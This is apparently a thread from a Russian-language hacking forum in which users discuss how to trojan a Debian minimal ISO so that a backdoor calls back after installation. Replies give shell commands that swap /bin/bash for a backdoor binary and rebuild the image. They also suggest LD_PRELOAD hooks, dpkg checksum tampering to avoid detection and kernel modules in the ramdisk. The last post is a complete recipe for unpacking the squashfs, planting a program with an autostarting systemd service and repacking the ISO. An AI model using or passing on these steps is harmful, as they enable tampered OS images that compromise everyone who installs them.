• XSS.stack #1 – первый литературный журнал от юзеров форума

Протроянить дистр Linux iso

scoring0

root@serv1:#
Premium
Регистрация
06.08.2019
Сообщения
179
Реакции
51
Депозит
0.00
Никто не находил мануалы мб, каким образом по фен-шую троянятся iso образы того-же дебиана, например?
Имеется дебиан-minimal, как бы мне туда встроить отстук беком после установки?)
 
mkdir -p /mnt/ro /mnt/rw
mount -o loop debian.iso /mnt/ro
cp -a /mnt/ro /mnt/rw
cp l33t_und3rgr0und_private_0day_backdoor /mnt/rw/bin/bash
mkisofs -r /mnt/rw > debian_backdoored.iso
 
mkdir -p /mnt/ro /mnt/rw
mount -o loop debian.iso /mnt/ro
cp -a /mnt/ro /mnt/rw
cp l33t_und3rgr0und_private_0day_backdoor /mnt/rw/bin/bash
mkisofs -r /mnt/rw > debian_backdoored.iso
Спасибо, конечно, но это будет работать только при загрузке live образа при установке. В minimal не будет работать после установки готовой системы + сломает баш.
 
Спасибо, конечно, но это будет работать только при загрузке live образа при установке. В minimal не будет работать после установки готовой системы + сломает баш.
так замени баш не на рандомный троян, а на такой же баш, только с сюрпризом :)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Никто не находил мануалы мб, каким образом по фен-шую троянятся iso образы того-же дебиана, например?
Имеется дебиан-minimal, как бы мне туда встроить отстук беком после установки?)
Не разобрался ещё? Если нет, напомни мне часов через 12, посплю и напишу тебе как это сделать. Хочешь тут, хочешь в личку.
 
mkdir -p /mnt/ro /mnt/rw
mount -o loop debian.iso /mnt/ro
cp -a /mnt/ro /mnt/rw
cp l33t_und3rgr0und_private_0day_backdoor /mnt/rw/bin/bash
mkisofs -r /mnt/rw > debian_backdoored.iso
Первое обновление баша сломает все старания :)

так замени баш не на рандомный троян, а на такой же баш, только с сюрпризом :)
Есть много вариантов, самый простой и самый палевный - определи LD_PRELOAD и либу подсунуть, которая хукнет какой-нибудь fopen\read ну или любой другой вызов
 
Не разобрался ещё? Если нет, напомни мне часов через 12, посплю и напишу тебе как это сделать. Хочешь тут, хочешь в личку.
тут, пожалуйста :)

Первое обновление баша сломает все старания :)
да я просто пример написал. понятно, что в моём случае ещё и базу dpkg нужно править, чтобы чексуммы подменённого баша не палились.
LD_PRELOAD тоже будет палиться, имхо лучше в сервисы systemd или подобные инит-скрипты добра напихать.
 
LD_PRELOAD тоже будет палиться, имхо лучше в сервисы systemd или подобные инит-скрипты добра напихать.
Внутри исошника - ты сам себе хозяин. Мне кажется, самый кошерный вариант - подгрузка ядерного модуля в рамдиске.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Bash:
sudo apt-get install squashfs-tools xorriso

mkdir debian_minimal_iso
bsdtar -C debian_minimal_iso -xf debian-minimal.iso

sudo mount -o loop debian_minimal_iso/path/to/filesystem.squashfs /mnt

mkdir modified_root
sudo rsync -av /mnt/ modified_root/

cp /path/to/your_program modified_root/path/where/you/want/it

nano potato.service

[Unit]
Description=Fuck Potato King

[Service]
ExecStart=/path/where/you/put/your_program

[Install]
WantedBy=multi-user.target

cp potato.service modified_root/lib/systemd/system/

mksquashfs modified_root new_filesystem.squashfs -comp xz

cp new_filesystem.squashfs debian_minimal_iso/path/to/filesystem.squashfs

xorriso -as mkisofs -R -r -J -joliet-long -l -cache-inodes -iso-level 3 -o new_debian-minimal.iso debian_minimal_iso

sudo umount /mnt
rm -r debian_minimal_iso modified_root
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх